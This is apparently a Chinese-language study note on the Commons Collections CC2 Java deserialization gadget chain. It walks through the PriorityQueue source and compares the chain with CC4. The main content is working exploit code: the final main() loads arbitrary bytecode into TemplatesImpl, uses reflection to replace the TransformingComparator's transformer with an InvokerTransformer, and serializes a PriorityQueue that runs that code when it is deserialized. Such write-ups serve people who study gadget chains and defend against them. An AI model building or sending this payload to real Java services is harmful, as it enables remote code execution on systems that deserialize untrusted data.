CC2链

CC2链

CC2攻击链分析

add流程解析

之前这里没有搞明白,这次这里动态调试了一下,发现应该是差不多了,回来补一下

在这里add之后进行了下列操作,就是将add的元素,放入了queue数组中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
priorityQueue.add(templates);

public boolean add(E e) {
return offer(e);
}

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

这里的grow方法其实无关紧要,if判断中的queue.length在默认情况下是11,grow方法的作用就是// Double size if small; else grow by 50%,就是如果i大于等于这个长度时,就会扩大这个队列的长度

1
2
3
4
5
6
7
8
9
10
11
private void grow(int minCapacity) {
int oldCapacity = queue.length;
// Double size if small; else grow by 50%
int newCapacity = oldCapacity + ((oldCapacity < 64) ?
(oldCapacity + 2) :
(oldCapacity >> 1));
// overflow-conscious code
if (newCapacity - MAX_ARRAY_SIZE > 0)
newCapacity = hugeCapacity(minCapacity);
queue = Arrays.copyOf(queue, newCapacity);
}

上面siftUp方法的代码如下,当队列不为空时,会根据comparator的情况调用不同的方法,但是两者大致的情况就是,将传入的参数和队列中数据进行比较,然后进行排序(大概是这样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}

private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

private void siftUpComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>) x;
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (key.compareTo((E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = key;
}

反序列化流程分析

这里大家可以看到heapify,它调用了siftDown(i, (E) queue[i]),我们传入两个参数,所以size为2,二进制右移一位后就为0,所以这里只能遍历到queue[0]

接下来调用的siftDown中的x就是templates

最后在siftDownUsingComparator中的if (comparator.compare(x, (E) c) <= 0),第一次遍历时相当于调用了TransformingComparator.compare(queue[0],queue[1]),也就调用了invoketransform.transform(templates),调用了templates的newTransformer方法,这里就和前面接上了

这里的k<half,有点二分查找的感觉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
heapify();

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)//最后就是在这里执行代码
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

代码替换

下面是cc2链与cc4链存在差异的代码,可以看出,cc2相比于cc4,少了ChainedTransformer这个类的使用

且cc2存在着cc1的老问题,已经不想多说了,还是构造时传入无用的东西,反射修改回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//CC4
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(1);

serialize(priorityQueue);
unserialize("ser.bin");
}

//CC2
public static void main(String[] args) throws Exception {
InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class<? extends TransformingComparator> aClass = transformingComparator.getClass();
Field transformer = aClass.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}

最终代码

进行比较是,我们的templates应第一个add进去

因为在对第一个对象进行transform方法调用时,我们传入的Integer类型,无 newTransformer方法,报错导致后面的templates.transform无法执行

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

最终代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class tc =templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");


Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});


TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(1);

Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}

自己的思考

之前说(下面),我在想,若传入一个存在`newTransformer`方法的类,是否也可以使恶意代码执行

找的过程很艰难,存在该方法的没有继承Serializable接口,且在add方法时,就会触发newTransformer方法,报错导致后续代码无法执行,因此尝试反射修改,但是这里失败了,因为queue有transient修饰,不带入序列化数据中

就这样结束了

1
transient Object[] queue;